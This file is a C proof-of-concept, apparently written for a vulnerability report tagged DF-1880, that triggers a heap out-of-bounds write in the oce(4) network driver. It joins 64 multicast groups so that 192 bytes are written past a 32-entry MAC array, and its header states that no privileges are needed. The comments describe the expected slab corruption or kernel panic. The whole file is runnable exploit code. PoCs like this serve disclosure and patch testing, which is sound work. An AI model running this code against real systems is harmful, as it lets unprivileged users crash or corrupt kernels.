/*
 * DF-1880 trigger: oce_hw_update_multicast heap OOB write.
 * Joins 64 multicast groups on the oce interface to overflow
 * req->params.req.mac[32] by 32*6 = 192 bytes past the DMA alloc.
 *
 * Requires: oce(4) NIC present, no special privileges.
 * Build:  cc -o poc poc.c
 * Run:    ./poc
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int main(void) {
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }

    for (int i = 1; i <= 64; i++) {
        struct ip_mreq mreq;
        char ip[32];
        snprintf(ip, sizeof(ip), "239.0.%d.%d", (i >> 8) & 0xff, i & 0xff);
        inet_pton(AF_INET, ip, &mreq.imr_multiaddr);
        mreq.imr_interface.s_addr = htonl(INADDR_ANY);
        if (setsockopt(s, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
            fprintf(stderr, "join %s: %s\n", ip, strerror(errno));
    }
    /* On the 33rd join the first 6 bytes overflow; on the 64th the
     * full 192-byte overflow has been written. Watch dmesg for slab
     * corruption / panic. */
    pause();
    return 0;
}